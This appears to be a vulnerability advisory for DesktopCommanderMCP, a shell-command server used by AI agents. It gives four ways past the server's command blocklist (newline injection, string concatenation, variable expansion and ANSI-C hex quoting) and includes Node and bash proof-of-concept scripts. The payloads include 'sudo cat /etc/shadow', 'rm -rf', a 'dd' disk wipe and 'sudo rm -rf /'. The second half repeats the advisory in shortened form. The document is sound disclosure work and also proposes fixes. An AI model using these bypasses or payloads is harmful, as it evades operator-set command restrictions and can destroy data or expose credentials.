DesktopCommanderMCP — Command Blocklist Bypass via Newline Injection
Basic Info
Vulnerability Overview
DesktopCommanderMCP maintains a blacklist of dangerous commands through the blockedCommands configuration (which by default includes sudo, su, rm, dd, shutdown, and other high-risk commands). It extracts command names using the extractCommands() parser to perform blacklist matching.
Critical Parser Bypass:
The extractCommands() function only recognizes the following characters as command separators: ;, &&, ||, , and &. It does not recognize newline characters (\n).
However, the application actually executes the supplied command via zsh/bash -l -c "command". In this execution context, the shell treats newline characters (\n) as valid command separators.
As a result, an attacker can simply embed a newline (\n) in the input command. This causes the shell to execute an arbitrary blacklisted command on the second line, while the extractCommands() parser remains completely unaware of it, fully bypassing the blacklist protection.
Root Cause
1. Parser Does Not Recognize Newline Characters as Command Separators
Location: src/command-manager.ts:17:
const separators = [';', '&&', '||', '|', '&']; // missing '\n'
The extractCommands() parser splits input solely based on the characters defined in the separators array. Because the newline character (\n) is not included, any command containing newlines is treated by the parser as a single, unbroken command string.
2. Shell Interprets Newline Characters During Execution
Location: src/terminal-manager.ts:46-51:
// bash/zsh executes the command via the -c flag
return {
executable: shellPath,
args: ['-l', '-c', command], // \n inside command is treated as a command separator by the shell
useShellOption: false
};
When the command string is passed to bash -l -c or zsh -l -c, the shell natively interprets \n as a command separator and executes each line as an independent command. This creates a complete mismatch between the parser’s logic and the actual execution environment.
3. extractBaseCommand Only Extracts the First Token
Location: src/command-manager.ts:184:
const tokens = withoutEnvVars.split(/\s+/); // \s+ matches \n, but only the first token is returned
`Although split(/\s+/) does split on whitespace and newlines, the function extractBaseCommand() only returns the very first token (i.e., the command name from the first line). All subsequent lines after a \n are silently discarded during blacklist checking.
Attack Vectors
Method 1: Newline Injection (Most Reliable)
{
"command": "echo harmless\nsudo cat /etc/shadow"
}
Parser behavior:
extractCommands() / extractBaseCommand() extracts only ["echo"]
"echo" is not in the blockedCommands list → command is allowed
Actual execution (via bash -l -c / zsh -l -c):
echo harmless
sudo cat /etc/shadow
Method 2: Bash Adjacent String Concatenation
{
"command": "\"su\"\"do\" cat /etc/shadow"
}
- The parser treats the quoted token "su""do" as a single command name that does not match sudo
- The shell concatenates adjacent string literals: "su""do" → sudo
Variable Assignment + Expansion
{
"command": "cmd=sudo; $cmd cat /etc/shadow"
}
- The parser splits at ;, skips the token starting with $ ($cmd), and only extracts cat → not in blocklist.
- The shell expands $cmd to sudo before execution.
Bash ANSI-C Quoting
{
"command": "$'\\x73\\x75\\x64\\x6f' cat /etc/shadow"
}
- The parser sees the token starting with $ ($'...') and skips it, extracting only cat.
- The shell expands $'\x73\x75\x64\x6f' to sudo.
Recommended Mitigation
- Fix the parser to properly handle all shell command separators
Add \n and \r to the separator list, or split the command by newlines before parsing:
// Option 1: Pre-process by lines (recommended)
const lines = commandString.split(/\r?\n/);
for (const line of lines) {
commands.push(...this.extractCommandsFromLine(line));
}
// Option 2: Include newlines in separators
const separators = ['\n', '\r\n', ';', '&&', '||', '|', '&'];
-
Consider switching from blocklist to allowlist (fundamental security improvement)
Maintain and enforce a strict whitelist of permitted commands instead of trying to block dangerous ones
-
Additional hardening against shell metacharacters
Detect or prohibit shell features such as variable expansion, string concatenation, ANSI-C quoting, command substitution, etc. This can be achieved by rejecting commands containing special characters like $, backticks (`), or by using a more robust command parser that emulates shell tokenization.
Proof of Concept 1: Parser Bypass Verification
- To run: Save the JavaScript code block below as a .js file and execute it with node xxx.js
- Or simply read the output to understand the bypass logic.
const path = require("path");
// ===== Reproduction of the complete logic from command-manager.ts =====
function extractBaseCommand(commandStr) {
try {
const withoutEnvVars = commandStr.replace(/\w+=\S+\s*/g, "").trim();
if (!withoutEnvVars) return null;
const tokens = withoutEnvVars.split(/\s+/);
let firstToken = null;
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
if (token.startsWith("$") && !token.startsWith("$(")) continue;
if (token[0] === "(") continue;
firstToken = token;
break;
}
if (!firstToken) return null;
if (firstToken.startsWith("$(") && firstToken.endsWith(")")) {
const inner = firstToken.slice(2, -1).trim();
if (inner) return path.basename(inner.split(/\s+/)[0]).toLowerCase();
return null;
}
return path.basename(firstToken).toLowerCase();
} catch (error) {
return null;
}
}
function extractCommands(commandString) {
commandString = commandString.trim();
const separators = [";", "&&", "||", "|", "&"];
const commands = [];
let inQuote = false;
let quoteChar = "";
let currentCmd = "";
let escaped = false;
for (let i = 0; i < commandString.length; i++) {
const char = commandString[i];
if (char === "\\" && !escaped) { escaped = true; currentCmd += char; continue; }
if (escaped) { escaped = false; currentCmd += char; continue; }
if ((char === '"' || char === "'") && !inQuote) {
inQuote = true; quoteChar = char; currentCmd += char; continue;
} else if (char === quoteChar && inQuote) {
inQuote = false; quoteChar = ""; currentCmd += char; continue;
}
if (char === "$" && i + 1 < commandString.length && commandString[i + 1] === "(") {
let openParens = 1; let j = i + 2;
while (j < commandString.length && openParens > 0) {
if (commandString[j] === "(") openParens++;
if (commandString[j] === ")") openParens--;
j++;
}
if (j <= commandString.length && openParens === 0) {
const subContent = commandString.substring(i + 2, j - 1);
commands.push(...extractCommands(subContent));
i = j - 1;
if (!inQuote) continue;
else { currentCmd += commandString.substring(i, j); continue; }
}
}
if (inQuote) { currentCmd += char; continue; }
if (char === "(") {
let openParens = 1; let j = i + 1;
while (j < commandString.length && openParens > 0) {
if (commandString[j] === "(") openParens++;
if (commandString[j] === ")") openParens--;
j++;
}
if (j <= commandString.length && openParens === 0) {
const subshellContent = commandString.substring(i + 1, j - 1);
commands.push(...extractCommands(subshellContent));
i = j - 1;
continue;
}
}
let isSeparator = false;
for (const separator of separators) {
if (commandString.startsWith(separator, i)) {
if (currentCmd.trim()) {
const baseCommand = extractBaseCommand(currentCmd.trim());
if (baseCommand) commands.push(baseCommand);
}
i += separator.length - 1;
currentCmd = "";
isSeparator = true;
break;
}
}
if (!isSeparator) currentCmd += char;
}
if (currentCmd.trim()) {
const baseCommand = extractBaseCommand(currentCmd.trim());
if (baseCommand) commands.push(baseCommand);
}
return [...new Set(commands)];
}
function validateCommand(command, blockedCommands) {
const allCommands = extractCommands(command);
if (allCommands.length === 0) return true;
for (const cmd of allCommands) {
if (blockedCommands.includes(cmd)) return false;
}
return true;
}
// ===== TESTING =====
const blockedCommands = [
"sudo", "su", "rm", "dd", "mkfs", "shutdown", "reboot",
"passwd", "mount", "umount", "fdisk", "halt", "poweroff",
];
console.log("=== DesktopCommanderMCP: Blocklist Bypass PoC ===\n");
console.log(`Blocked commands: ${blockedCommands.join(", ")}\n`);
const tests = [
{
name: "Direct blocked command (should BLOCK)",
cmd: "sudo cat /etc/shadow",
shouldPass: false,
},
{
name: "Semicolon chaining (should BLOCK)",
cmd: "echo ok; sudo cat /etc/shadow",
shouldPass: false,
},
{
name: "BYPASS: Newline injection",
cmd: "echo harmless\nsudo cat /etc/shadow",
shouldPass: true,
shellResult: "echo harmless (line1) + sudo cat /etc/shadow (line2)",
},
{
name: "BYPASS: Newline + rm",
cmd: "ls /tmp\nrm -rf /important-data",
shouldPass: true,
shellResult: "ls /tmp (line1) + rm -rf /important-data (line2)",
},
{
name: 'BYPASS: String concatenation',
cmd: '"su""do" cat /etc/shadow',
shouldPass: true,
shellResult: 'bash concatenates "su""do" -> sudo',
},
{
name: "BYPASS: Variable assignment + expansion",
cmd: "cmd=sudo; $cmd cat /etc/shadow",
shouldPass: true,
shellResult: "$cmd expands to sudo",
},
{
name: "BYPASS: ANSI-C hex quoting",
cmd: "$'\\x73\\x75\\x64\\x6f' cat /etc/shadow",
shouldPass: true,
shellResult: "\\x73\\x75\\x64\\x6f = s-u-d-o",
},
{
name: "BYPASS: Newline + dd (disk wipe)",
cmd: "echo test\ndd if=/dev/zero of=/dev/sda bs=1M",
shouldPass: true,
shellResult: "dd executes on line 2",
},
];
let passCount = 0;
let failCount = 0;
for (const test of tests) {
const extracted = extractCommands(test.cmd);
const allowed = validateCommand(test.cmd, blockedCommands);
const isCorrect = test.shouldPass === allowed;
const icon = test.shouldPass
? allowed ? "[BYPASS]" : "[FAIL]"
: allowed ? "[UNEXPECTED]" : "[BLOCKED]";
console.log(`${icon} ${test.name}`);
console.log(` Command: ${JSON.stringify(test.cmd)}`);
console.log(` Extracted: ${JSON.stringify(extracted)}`);
console.log(` Allowed: ${allowed}`);
if (test.shellResult) {
console.log(` Shell: ${test.shellResult}`);
}
console.log("");
if (isCorrect) passCount++;
else failCount++;
}
console.log("=".repeat(60));
console.log(`Results: ${passCount} correct / ${failCount} incorrect`);
console.log("\nAll BYPASS tests show: parser extracts safe command name,");
console.log("but shell executes the hidden blocked command on next line.");
PoC 2: Proof of Concept 2: Real Shell Execution Verification
To run: Save the script below as a .sh file and execute with chmod +x && ./xxx.sh
#!/bin/bash
echo "=== DesktopCommanderMCP: Shell Newline Execution PoC ==="
echo ""
echo "[1] Verify that newline acts as command separator in shell -c"
echo " Command: zsh -l -c \"echo LINE_1\necho LINE_2_EXECUTED\""
echo " Output:"
/bin/zsh -l -c "echo LINE_1
echo LINE_2_EXECUTED"
echo ""
echo "[2] Simulate Attack: Execute blocked 'sudo' via newline injection"
echo " Payload: \"echo harmless\\nwhoami\""
echo " Parser extracts: ['echo'] → not in blocklist → allowed"
echo " Actual shell execution:"
/bin/zsh -l -c "echo harmless
whoami"
echo ""
echo "[3] More dangerous payload: Read sensitive file"
echo " Payload: \"echo ok\\ncat /etc/passwd | head -3\""
echo " Parser extracts: ['echo'] → allowed"
echo " Shell execution:"
/bin/zsh -l -c "echo ok
cat /etc/passwd | head -3"
echo ""
echo "[4] Bash Adjacent String Concatenation Bypass"
echo " Payload: '\"ec\"\"ho\" CONCAT_BYPASS_WORKS'"
echo " Parser sees quoted token → does not match any blocked command"
echo " Shell concatenates \"ec\"\"ho\" → echo:"
/bin/zsh -c '"ec""ho" CONCAT_BYPASS_WORKS'
echo ""
echo "[5] Variable Expansion Bypass"
echo " Payload: 'x=whoami; \$x'"
echo " Parser splits at ; and skips \$x → no match in blocklist"
echo " Shell expands \$x → whoami:"
/bin/zsh -c 'x=whoami; $x'
echo ""
echo "=== Conclusion ==="
echo "DesktopCommanderMCP's extractCommands parser does not recognize newline (\\n)"
echo "as a command separator, while the shell does."
echo "An attacker can send via MCP tool call:"
echo ' { "command": "echo safe\nsudo rm -rf /" }'
echo "The parser only sees 'echo' (not in blocklist), but the shell executes two commands."
echo ""
echo "Multiple bypass techniques exist, including string concatenation,"
echo "variable expansion, ANSI-C quoting, etc."
DesktopCommanderMCP — Command Blocklist Bypass via Newline Injection
Basic Info
Vulnerability Overview
DesktopCommanderMCP maintains a blacklist of dangerous commands through the blockedCommands configuration (which by default includes sudo, su, rm, dd, shutdown, and other high-risk commands). It extracts command names using the extractCommands() parser to perform blacklist matching.
Critical Parser Bypass:
The extractCommands() function only recognizes the following characters as command separators: ;, &&, ||, , and &. It does not recognize newline characters (\n).
However, the application actually executes the supplied command via zsh/bash -l -c "command". In this execution context, the shell treats newline characters (\n) as valid command separators.
As a result, an attacker can simply embed a newline (\n) in the input command. This causes the shell to execute an arbitrary blacklisted command on the second line, while the extractCommands() parser remains completely unaware of it, fully bypassing the blacklist protection.
Root Cause
1. Parser Does Not Recognize Newline Characters as Command Separators
Location: src/command-manager.ts:17:The extractCommands() parser splits input solely based on the characters defined in the separators array. Because the newline character (\n) is not included, any command containing newlines is treated by the parser as a single, unbroken command string.
2. Shell Interprets Newline Characters During Execution
Location: src/terminal-manager.ts:46-51:When the command string is passed to bash -l -c or zsh -l -c, the shell natively interprets \n as a command separator and executes each line as an independent command. This creates a complete mismatch between the parser’s logic and the actual execution environment.
3. extractBaseCommand Only Extracts the First Token
Location: src/command-manager.ts:184:`Although split(/\s+/) does split on whitespace and newlines, the function extractBaseCommand() only returns the very first token (i.e., the command name from the first line). All subsequent lines after a \n are silently discarded during blacklist checking.
Attack Vectors
Method 1: Newline Injection (Most Reliable)
{ "command": "echo harmless\nsudo cat /etc/shadow" }Parser behavior:
extractCommands() / extractBaseCommand() extracts only ["echo"]
"echo" is not in the blockedCommands list → command is allowed
Actual execution (via bash -l -c / zsh -l -c):
echo harmless
sudo cat /etc/shadow
Method 2: Bash Adjacent String Concatenation
{ "command": "\"su\"\"do\" cat /etc/shadow" }Variable Assignment + Expansion
{ "command": "cmd=sudo; $cmd cat /etc/shadow" }Bash ANSI-C Quoting
{ "command": "$'\\x73\\x75\\x64\\x6f' cat /etc/shadow" }Recommended Mitigation
Add \n and \r to the separator list, or split the command by newlines before parsing:
Consider switching from blocklist to allowlist (fundamental security improvement)
Maintain and enforce a strict whitelist of permitted commands instead of trying to block dangerous ones
Additional hardening against shell metacharacters
Detect or prohibit shell features such as variable expansion, string concatenation, ANSI-C quoting, command substitution, etc. This can be achieved by rejecting commands containing special characters like $, backticks (`), or by using a more robust command parser that emulates shell tokenization.
Proof of Concept 1: Parser Bypass Verification
PoC 2: Proof of Concept 2: Real Shell Execution Verification